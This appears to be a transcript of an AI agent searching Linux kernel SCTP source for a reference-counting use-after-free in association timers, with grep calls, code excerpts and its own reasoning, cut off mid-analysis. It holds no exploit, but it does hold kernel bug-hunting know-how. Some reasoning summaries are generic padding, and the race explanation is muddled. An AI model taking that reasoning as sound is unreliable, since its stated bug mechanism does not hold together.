net/sctp/proc.c-46-	SNMP_MIB_ITEM("SctpDelaySackExpireds", SCTP_MIB_DELAY_SACK_EXPIREDS),
net/sctp/proc.c:47:	SNMP_MIB_ITEM("SctpAutocloseExpireds", SCTP_MIB_AUTOCLOSE_EXPIREDS),
net/sctp/proc.c-48-	SNMP_MIB_ITEM("SctpT3Retransmits", SCTP_MIB_T3_RETRANSMITS),
--
net/sctp/sm_sideeffect.c=354=static void sctp_generate_autoclose_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-357-		timer_container_of(asoc, t,
net/sctp/sm_sideeffect.c:358:				   timers[SCTP_EVENT_TIMEOUT_AUTOCLOSE]);
net/sctp/sm_sideeffect.c-359-
net/sctp/sm_sideeffect.c:360:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_AUTOCLOSE);
net/sctp/sm_sideeffect.c-361-}
--
net/sctp/sm_sideeffect.c=525=sctp_timer_event_t *sctp_timer_events[SCTP_NUM_TIMEOUT_TYPES] = {
--
net/sctp/sm_sideeffect.c-536-	[SCTP_EVENT_TIMEOUT_SACK] =		sctp_generate_sack_event,
net/sctp/sm_sideeffect.c:537:	[SCTP_EVENT_TIMEOUT_AUTOCLOSE] =	sctp_generate_autoclose_event,
net/sctp/sm_sideeffect.c-538-};
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-882-
net/sctp/sm_statefuns.c:883:	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c-884-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c:885:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-886-
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-983-	sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_START, SCTP_NULL());
net/sctp/sm_statefuns.c:984:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c-985-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c:986:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-987-
--
net/sctp/sm_statefuns.c=3235=enum sctp_disposition sctp_sf_eat_data_6_2(struct net *net,
--
net/sctp/sm_statefuns.c-3280-
net/sctp/sm_statefuns.c:3281:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE]) {
net/sctp/sm_statefuns.c-3282-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:3283:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-3284-	}
--
net/sctp/sm_statefuns.c=4247=enum sctp_disposition sctp_sf_eat_fwd_tsn(struct net *net,
--
net/sctp/sm_statefuns.c-4296-	/* Count this as receiving DATA. */
net/sctp/sm_statefuns.c:4297:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE]) {
net/sctp/sm_statefuns.c-4298-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:4299:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-4300-	}
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5698-
net/sctp/sm_statefuns.c:5699:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c-5700-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:5701:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-5702-
--
net/sctp/sm_statefuns.c=5734=enum sctp_disposition sctp_sf_do_9_2_shutdown_ack(
--
net/sctp/sm_statefuns.c-5779-
net/sctp/sm_statefuns.c:5780:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c-5781-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:5782:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-5783-
--
net/sctp/sm_statefuns.c=6218=enum sctp_disposition sctp_sf_t5_timer_expire(
--
net/sctp/sm_statefuns.c-6249-
net/sctp/sm_statefuns.c:6250:/* Handle expiration of AUTOCLOSE timer.  When the autoclose timer expires,
net/sctp/sm_statefuns.c-6251- * the association is automatically closed by starting the shutdown process.
--
net/sctp/sm_statefuns.c=6255=enum sctp_disposition sctp_sf_autoclose_timer_expire(
--
net/sctp/sm_statefuns.c-6264-
net/sctp/sm_statefuns.c:6265:	SCTP_INC_STATS(net, SCTP_MIB_AUTOCLOSE_EXPIREDS);
net/sctp/sm_statefuns.c-6266-
--
net/sctp/sm_statetable.c=756=other_event_table[SCTP_NUM_OTHER_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-931-
net/sctp/sm_statetable.c:932:#define TYPE_SCTP_EVENT_TIMEOUT_AUTOCLOSE { \
net/sctp/sm_statetable.c-933-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c=990=timeout_event_table[SCTP_NUM_TIMEOUT_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-1001-	TYPE_SCTP_EVENT_TIMEOUT_SACK,
net/sctp/sm_statetable.c:1002:	TYPE_SCTP_EVENT_TIMEOUT_AUTOCLOSE,
net/sctp/sm_statetable.c-1003-};
--
net/sctp/socket.c=2228=static int sctp_setsockopt_events(struct sock *sk, __u8 *sn_type,
--
net/sctp/socket.c-2265-
net/sctp/socket.c:2266:/* 7.1.8 Automatic Close of associations (SCTP_AUTOCLOSE)
net/sctp/socket.c-2267- *
--
net/sctp/socket.c=4579=static int sctp_setsockopt(struct sock *sk, int level, int optname,
--
net/sctp/socket.c-4641-
net/sctp/socket.c:4642:	case SCTP_AUTOCLOSE:
net/sctp/socket.c-4643-		retval = sctp_setsockopt_autoclose(sk, kopt, optlen);
--
net/sctp/socket.c=5021=static int sctp_init_sock(struct sock *sk)
--
net/sctp/socket.c-5121-	 * number of seconds.  A value of 0 disables this
net/sctp/socket.c:5122:	 * feature.  Configure through the SCTP_AUTOCLOSE socket option,
net/sctp/socket.c-5123-	 * for UDP-style sockets only.
--
net/sctp/socket.c=5651=static int sctp_getsockopt_events(struct sock *sk, int len, char __user *optval,
--
net/sctp/socket.c-5674-
net/sctp/socket.c:5675:/* 7.1.8 Automatic Close of associations (SCTP_AUTOCLOSE)
net/sctp/socket.c-5676- *
--
net/sctp/socket.c=8131=static int sctp_getsockopt(struct sock *sk, int level, int optname,
--
net/sctp/socket.c-8170-		break;
net/sctp/socket.c:8171:	case SCTP_AUTOCLOSE:
net/sctp/socket.c-8172-		retval = sctp_getsockopt_autoclose(sk, len, optval, optlen);
]

gemini-3.1-pro-preview

							input: 59095
							output: 41
							thoughts: 365
						

**My Thought Process Regarding SCTP Timer Restart Mechanisms**

Okay, let me walk through my thinking process as I analyzed these SCTP timer restart scenarios. My primary concern here is ensuring the robustness of our SCTP implementation, specifically how timers are handled during retransmissions, and whether these restarts are truly safe and consistent.

First, I looked at the `AUTOCLOSE` timer. I observed that it's restarted using `SCTP_CMD_TIMER_RESTART`. This immediately felt right. `AUTOCLOSE` is typically a safety net, and restarting it with a standard, explicit restart command seems perfectly reasonable. No immediate red flags there; it appears safe.

Next, my attention turned to the `T1_COOKIE` timer. I know this timer is initiated when we send a `COOKIE ECHO`. The critical question for me was: what happens if we need to retransmit that `COOKIE ECHO`? My analysis revealed that if the `T1_COOKIE` timer expires, the system *does* retransmit the `COOKIE ECHO` and, importantly, restarts the timer. Now, here's where my internal alarm bell started to ring slightly, but then settled. The crucial detail is *how* it restarts. I saw that it restarts with `SCTP_CMD_TIMER_RESTART`. This is the same command I saw for `AUTOCLOSE`, and it signifies a deliberate, controlled restart. Given that, my conclusion is that this behavior is also safe. The system is explicitly telling the timer to restart, not just letting it implicitly roll over or behave unpredictably.

Following that, I examined the `T1_INIT` timer. This is analogous to `T1_COOKIE` in that it's tied to sending an `INIT` message. If the `T1_INIT` timer expires, the behavior is similar: an `INIT` retransmission occurs, and the timer is restarted. Again, the key factor for me was the mechanism of restart. I confirmed that it also uses `SCTP_CMD_TIMER_RESTART`. This consistency reinforces my confidence. If the `T1_COOKIE` restart is safe, and the `T1_INIT` restart uses the same well-defined command, then this path is also safe. It's reassuring to see a uniform approach to these critical timers.

Finally, I arrived at the `T4_RTO` timer, associated with sending an `ASCONF` message. My initial thought process here was to apply the same logic: if it expires, retransmit the `ASCONF`, and then restart the timer. However, as I delved deeper, a question arose: *how* is `T4_RTO` restarted? This is where my thought process hit a pause. While I've seen a consistent pattern of `SCTP_CMD_TIMER_RESTART` for the other timers, I need to confirm if `T4_RTO` follows the same explicit restart mechanism. My investigation is ongoing to ascertain the precise command used for `T4_RTO` restarts, as this will determine its safety profile within the broader context of our timer management.

log-in to see details

map[Expression:SCTP_CMD_TIMER_RESTART.*T4_RTO PathPrefix:net/sctp]

map[Output:]

gemini-3.1-pro-preview

							input: 59499
							output: 38
							thoughts: 13
						

**My Thought Process Regarding `T4_RTO` Restart Mechanisms**

My immediate question, as an expert, is centered on the "how" of restarting `T4_RTO`. I'm not just curious about *if* it can be restarted, but the specific mechanisms, protocols, and underlying processes that enable its resumption. I need to understand the precise sequence of events, the triggers, and the state management involved. This isn't a superficial inquiry; I'm looking to deconstruct the restart process, identifying potential failure points and the robustness of the recovery. Is it an automated process, a manual intervention, or a combination? Does it involve a graceful shutdown and subsequent initiation, or is it a more abrupt recovery from an ungraceful termination? I'm thinking about the dependencies – what other services or components must be available and in a specific state for `T4_RTO` to restart successfully? Are there configuration parameters that govern its restart behavior? Essentially, I'm trying to build a mental model of `T4_RTO`'s resilience and operational continuity, focusing on the practicalities of bringing it back online after an interruption.

map[Expression:SCTP_EVENT_TIMEOUT_T4_RTO PathPrefix:net/sctp]

map[Output:net/sctp/sm_sideeffect.c=335=static void sctp_generate_t4_rto_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-337-	struct sctp_association *asoc =
net/sctp/sm_sideeffect.c:338:		timer_container_of(asoc, t, timers[SCTP_EVENT_TIMEOUT_T4_RTO]);
net/sctp/sm_sideeffect.c-339-
net/sctp/sm_sideeffect.c:340:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T4_RTO);
net/sctp/sm_sideeffect.c-341-}
--
net/sctp/sm_sideeffect.c=525=sctp_timer_event_t *sctp_timer_events[SCTP_NUM_TIMEOUT_TYPES] = {
--
net/sctp/sm_sideeffect.c-530-	[SCTP_EVENT_TIMEOUT_T3_RTX] =		NULL,
net/sctp/sm_sideeffect.c:531:	[SCTP_EVENT_TIMEOUT_T4_RTO] =		sctp_generate_t4_rto_event,
net/sctp/sm_sideeffect.c-532-	[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD] =
--
net/sctp/sm_sideeffect.c=959=static void sctp_cmd_setup_t4(struct sctp_cmd_seq *cmds,
--
net/sctp/sm_sideeffect.c-965-	t = sctp_assoc_choose_alter_transport(asoc, chunk->transport);
net/sctp/sm_sideeffect.c:966:	asoc->timeouts[SCTP_EVENT_TIMEOUT_T4_RTO] = t->rto;
net/sctp/sm_sideeffect.c-967-	chunk->transport = t;
--
net/sctp/sm_sideeffect.c=971=static void sctp_cmd_process_operr(struct sctp_cmd_seq *cmds,
--
net/sctp/sm_sideeffect.c-1006-				sctp_add_cmd_sf(cmds, SCTP_CMD_TIMER_STOP,
net/sctp/sm_sideeffect.c:1007:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_sideeffect.c-1008-				break;
--
net/sctp/sm_statefuns.c=1882=static enum sctp_disposition sctp_sf_do_dupcook_a(
--
net/sctp/sm_statefuns.c-1951-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:1952:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-1953-	sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_ASCONF_QUEUE, SCTP_NULL());
--
net/sctp/sm_statefuns.c=4055=enum sctp_disposition sctp_sf_do_asconf_ack(struct net *net,
--
net/sctp/sm_statefuns.c-4124-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:4125:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-4126-		sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
--
net/sctp/sm_statefuns.c-4137-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:4138:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-4139-
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5583-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c:5584:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-5585-	sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(chunk));
--
net/sctp/sm_statefuns.c=6142=enum sctp_disposition sctp_sf_t4_timer_expire(
--
net/sctp/sm_statefuns.c-6176-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:6177:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-6178-		sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
--
net/sctp/sm_statefuns.c-6206-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:6207:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-6208-
--
net/sctp/sm_statetable.c=756=other_event_table[SCTP_NUM_OTHER_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-855-
net/sctp/sm_statetable.c:856:#define TYPE_SCTP_EVENT_TIMEOUT_T4_RTO { \
net/sctp/sm_statetable.c-857-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c=990=timeout_event_table[SCTP_NUM_TIMEOUT_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-995-	TYPE_SCTP_EVENT_TIMEOUT_T3_RTX,
net/sctp/sm_statetable.c:996:	TYPE_SCTP_EVENT_TIMEOUT_T4_RTO,
net/sctp/sm_statetable.c-997-	TYPE_SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD,
]

gemini-3.1-pro-preview

							input: 61441
							output: 42
							thoughts: 80
						

**My Thought Process Regarding Timer Management in the System**

Alright, so I've just observed that the `T4_RTO` timer has been successfully restarted using the `SCTP_CMD_TIMER_RESTART` command. This is good news, as it indicates that the associated retransmission timeout mechanism is functioning as expected and is now in a safe, active state.

Now, my attention shifts to the `T2_SHUTDOWN` timer. I understand that this timer is initiated specifically when we send a SHUTDOWN message. My immediate question, and a critical one at that, is what happens when `T2_SHUTDOWN` expires. Based on my current understanding, if it expires, the system is designed to retransmit the SHUTDOWN message and, crucially, restart the timer itself. The lingering point of inquiry for me is precisely *how* this restart is being managed. Is it also using `SCTP_CMD_TIMER_RESTART`, or is there a different, perhaps internal, mechanism at play for `T2_SHUTDOWN`? This distinction is important for ensuring the overall robustness and predictability of the shutdown process.

log-in to see details

map[Expression:SCTP_CMD_TIMER_RESTART.*T2_SHUTDOWN PathPrefix:net/sctp]

map[Output:]

gemini-3.1-pro-preview

							input: 61561
							output: 39
							thoughts: 14
						

**My Thought Process Regarding `T2_SHUTDOWN` Restart Mechanism**

So, I've been pondering the restart behavior of `T2_SHUTDOWN`. My immediate question is, "Wait, how exactly is `T2_SHUTDOWN` restarted?" This isn't a trivial detail; understanding the restart mechanism is crucial for maintaining system stability and predictable operation. I need to delve into the specifics of what triggers its revival, what conditions must be met, and what the underlying processes or agents are responsible for initiating this restart. Is it a self-healing mechanism, an external watchdog, or something else entirely? Pinpointing this will allow me to properly assess its resilience and any potential failure points in its restart cycle.

map[Expression:SCTP_EVENT_TIMEOUT_T2_SHUTDOWN PathPrefix:net/sctp]

map[Output:net/sctp/associola.c=51=static struct sctp_association *sctp_association_init(
--
net/sctp/associola.c-129-	asoc->timeouts[SCTP_EVENT_TIMEOUT_T1_INIT] = asoc->rto_initial;
net/sctp/associola.c:130:	asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = asoc->rto_initial;
net/sctp/associola.c-131-
--
net/sctp/sm_sideeffect.c=326=static void sctp_generate_t2_shutdown_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-329-		timer_container_of(asoc, t,
net/sctp/sm_sideeffect.c:330:				   timers[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]);
net/sctp/sm_sideeffect.c-331-
net/sctp/sm_sideeffect.c:332:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T2_SHUTDOWN);
net/sctp/sm_sideeffect.c-333-}
--
net/sctp/sm_sideeffect.c=525=sctp_timer_event_t *sctp_timer_events[SCTP_NUM_TIMEOUT_TYPES] = {
--
net/sctp/sm_sideeffect.c-528-	[SCTP_EVENT_TIMEOUT_T1_INIT] =		sctp_generate_t1_init_event,
net/sctp/sm_sideeffect.c:529:	[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] =	sctp_generate_t2_shutdown_event,
net/sctp/sm_sideeffect.c-530-	[SCTP_EVENT_TIMEOUT_T3_RTX] =		NULL,
--
net/sctp/sm_sideeffect.c=854=static void sctp_cmd_setup_t2(struct sctp_cmd_seq *cmds,
--
net/sctp/sm_sideeffect.c-867-	asoc->shutdown_last_sent_to = t;
net/sctp/sm_sideeffect.c:868:	asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = t->rto;
net/sctp/sm_sideeffect.c-869-}
--
net/sctp/sm_statefuns.c=234=enum sctp_disposition sctp_sf_do_4_C(struct net *net,
--
net/sctp/sm_statefuns.c-280-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:281:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-282-
--
net/sctp/sm_statefuns.c=2424=enum sctp_disposition sctp_sf_shutdown_sent_abort(
--
net/sctp/sm_statefuns.c-2463-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:2464:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-2465-
--
net/sctp/sm_statefuns.c=3041=__sctp_sf_do_9_2_reshutack(struct net *net, const struct sctp_endpoint *ep,
--
net/sctp/sm_statefuns.c-3068-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:3069:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-3070-
--
net/sctp/sm_statefuns.c=3355=enum sctp_disposition sctp_sf_eat_data_fast_4_4(
--
net/sctp/sm_statefuns.c-3408-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:3409:				SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-3410-	}
--
net/sctp/sm_statefuns.c=3651=enum sctp_disposition sctp_sf_do_9_2_final(struct net *net,
--
net/sctp/sm_statefuns.c-3692-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:3693:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-3694-
--
net/sctp/sm_statefuns.c=4313=enum sctp_disposition sctp_sf_eat_fwd_tsn_fast(
--
net/sctp/sm_statefuns.c-4373-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:4374:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-4375-
--
net/sctp/sm_statefuns.c=5473=enum sctp_disposition sctp_sf_shutdown_sent_prm_abort(
--
net/sctp/sm_statefuns.c-5482-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:5483:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-5484-
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5689-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c:5690:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-5691-
--
net/sctp/sm_statefuns.c=5734=enum sctp_disposition sctp_sf_do_9_2_shutdown_ack(
--
net/sctp/sm_statefuns.c-5777-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:5778:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-5779-
--
net/sctp/sm_statefuns.c=6071=enum sctp_disposition sctp_sf_t2_timer_expire(
--
net/sctp/sm_statefuns.c-6129-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:6130:			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
net/sctp/sm_statefuns.c-6131-	sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(reply));
--
net/sctp/sm_statetable.c=756=other_event_table[SCTP_NUM_OTHER_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-817-
net/sctp/sm_statetable.c:818:#define TYPE_SCTP_EVENT_TIMEOUT_T2_SHUTDOWN { \
net/sctp/sm_statetable.c-819-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c=990=timeout_event_table[SCTP_NUM_TIMEOUT_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-993-	TYPE_SCTP_EVENT_TIMEOUT_T1_INIT,
net/sctp/sm_statetable.c:994:	TYPE_SCTP_EVENT_TIMEOUT_T2_SHUTDOWN,
net/sctp/sm_statetable.c-995-	TYPE_SCTP_EVENT_TIMEOUT_T3_RTX,
]

gemini-3.1-pro-preview

							input: 64105
							output: 33
							thoughts: 9854
						

**The Elusive Timer Race Condition**

I've been deep in thought, trying to unravel this tricky SCTP timer race condition. My initial line of reasoning was to find a timer command that could be called repeatedly with `SCTP_CMD_TIMER_START`. My first thought was about `T2_SHUTDOWN`, which gets restarted with `SCTP_CMD_TIMER_RESTART`. This seemed safe.

Then I turned my attention to `T5_SHUTDOWN_GUARD`. It's initiated with `SCTP_CMD_TIMER_START_ONCE`. My concern was that if it "falls through" (which it does if the timer isn't pending), it executes `SCTP_CMD_TIMER_START` and, crucially, might share the same bug. I traced its invocation to `sctp_sf_do_6_3_3_rtx`, which is called when retransmitting data in the `SHUTDOWN_PENDING` state. I thought, "If we keep retransmitting data while in `SHUTDOWN_PENDING`, could this trigger the bug?" However, `T5_SHUTDOWN_GUARD` is started with `START_ONCE`. If the timer is pending, it does nothing; if it fires, it aborts the association. This led me to believe it couldn't be triggered repeatedly in a way that would lead to the race condition I was looking for because the association would be gone.

I then examined other timers: `T1_COOKIE`, `T1_INIT`, `T4_RTO`, and `T2_SHUTDOWN`. All of them are either started with `SCTP_CMD_TIMER_START` and restarted with `SCTP_CMD_TIMER_RESTART`, or started with `SCTP_CMD_TIMER_START`. My initial conclusion was that no timer seems to be started with `SCTP_CMD_TIMER_START` repeatedly. This made me question how the race condition could even occur, as the race typically requires `SCTP_CMD_TIMER_START` to be executed while the timer is already pending or executing. If `SCTP_CMD_TIMER_START` is only executed once when a timer is first started, the timer simply wouldn't be executing yet.

My focus shifted to potential ways `SCTP_CMD_TIMER_START` could be invoked. I looked at `AUTOCLOSE`, which is started on association establishment and restarted by data reception. However, both restart mechanisms use `SCTP_CMD_TIMER_RESTART`, which seemed safe.

I then went back to the fundamental nature of the bug, which is a use-after-free originating from a refcount operation. The trace points to `sctp_generate_timeout_event` calling `sctp_association_hold(asoc)` when the refcount is already zero. This implies that the timer was started *without* taking a reference, and then executed. My initial thought was that this could happen if `SCTP_CMD_TIMER_START` was called when `timer_pending(timer)` was true, and then `timer_reduce` was called. However, I couldn't find a scenario where `SCTP_CMD_TIMER_START` was invoked while the timer was already pending.

I then considered the `sctp_bindx` operation and its role in triggering `sctp_sf_do_prm_asconf`, which in turn calls `SCTP_CMD_TIMER_START` for `T4_RTO`. My reasoning was that repeatedly calling `sctp_bindx` could lead to repeated `SCTP_CMD_TIMER_START` calls for `T4_RTO`. However, further investigation into `sctp_send_asconf` revealed that it queues subsequent ASCONF chunks if there's an outstanding one, thus preventing `sctp_primitive_ASCONF` from being called and, consequently, preventing `SCTP_CMD_TIMER_START` from being invoked repeatedly for `T4_RTO` in this specific path.

My exploration into other timer start points like `T1_INIT` and `T2_SHUTDOWN` also didn't reveal a path for repeated `SCTP_CMD_TIMER_START` calls while a timer was already pending.

The critical insight came when re-examining the `SCTP_CMD_TIMER_START` logic itself:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];

			if (!timer_pending(timer)) // Check if timer is NOT pending
				sctp_association_hold(asoc); // If not, take a reference

			timer_reduce(timer, jiffies + timeout); // Then start the timer
```
My reasoning solidified: if `timer_pending(timer)` returns `FALSE`, `sctp_association_hold(asoc)` is called, taking a reference. Then, `timer_reduce` is called to start the timer. The race condition occurs if the timer fires *after* `timer_pending(timer)` returns `FALSE` but *before* `timer_reduce` is executed. In this precise window, the timer would have already started itself (or been started by another thread), and `timer_reduce` would then start it *again* without taking a reference because it was *already* pending when `timer_reduce` was called. This explains how a timer could be executing without holding a reference, leading to the use-after-free when the reference count drops to zero. The challenge then became identifying a practical scenario that leads to this specific timing.

map[Expression:mod_timer.*asoc->timers PathPrefix:net/sctp]

map[Output:net/sctp/sm_sideeffect.c=270=static void sctp_generate_timeout_event(struct sctp_association *asoc,
--
net/sctp/sm_sideeffect.c-282-		/* Try again later.  */
net/sctp/sm_sideeffect.c:283:		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
net/sctp/sm_sideeffect.c-284-			sctp_association_hold(asoc);
]

gemini-3.1-pro-preview

							input: 74130
							output: 32
							thoughts: 2579
						

**A Deep Dive into SCTP Association Lifecycle and Potential Race Conditions**

I've been meticulously examining the intricacies of SCTP association management, specifically focusing on the interplay between timers, reference counting, and association lifecycle functions like `sctp_association_free`. My primary concern is ensuring the integrity of the `refcnt` for an `sctp_association` structure and preventing use-after-free vulnerabilities.

Initially, I was contemplating a scenario where `sctp_generate_timeout_event` might be invoked. This function, in turn, could call `mod_timer` and `sctp_association_hold`. My immediate thought was: what if the `refcnt` is already zero at this point? This would imply an imbalance – someone called `sctp_association_put` too many times, or there's a missing `sctp_association_hold`.

To investigate, I decided to scrutinize `sctp_association_free`. I observed the loop that iterates through various timers and calls `timer_delete`. Crucially, if `timer_delete` returns a non-zero value (indicating the timer was successfully deleted), `sctp_association_put` is called. This seemed straightforward if the timer was simply removed.

The first flicker of concern arose when considering concurrent execution: what if `timer_delete` is called simultaneously with the timer actually firing? If the timer has already fired and been dequeued, `timer_delete` would return 0, and `sctp_association_put` wouldn't be called within that loop iteration. However, the timer callback itself would then execute and, at its conclusion, call `sctp_association_put`. This appeared to maintain a balanced reference count.

My attention then shifted to the case where `timer_delete_sync` is *not* used, and the timer callback itself might re-arm the timer. I followed a path where `sctp_association_free` is called. If, during its `timer_delete` calls, it encounters a timer that is currently executing, `timer_delete` returns 0. `sctp_association_free` would then proceed, dropping its reference. If this was the last reference, the `refcnt` would drop to 1 (held by the still-executing timer). When the timer callback subsequently checks `sock_owned_by_user(sk)` and finds it true, it calls `mod_timer` and `sctp_association_hold`, incrementing `refcnt` to 2. Then, it proceeds to `out_unlock` and calls `sctp_association_put`, bringing `refcnt` back down to 1. If the timer fires again and `sock_owned_by_user(sk)` is false, it would check `asoc->base.dead` (which `sctp_association_free` would have set to true) and then call `sctp_association_put`, bringing `refcnt` to 0 and freeing the association. This flow seemed robust.

I then considered another possibility: what if `sock_owned_by_user(sk)` remains true even on subsequent timer firings? In this scenario, the timer would keep re-arming itself until `sock_owned_by_user(sk)` becomes false. Once it does, the association would be destroyed. This also appeared safe.

The critical problem emerged when I considered `sctp_association_free` being called, and it invokes `timer_delete` on a timer that is *pending* but not yet executing. In this situation, `timer_delete` returns 1, triggering `sctp_association_put` within `sctp_association_free`. Following this, `sctp_association_free` drops its own reference. If this was the last *external* reference, the `refcnt` would drop to 0, and the association would be destroyed.

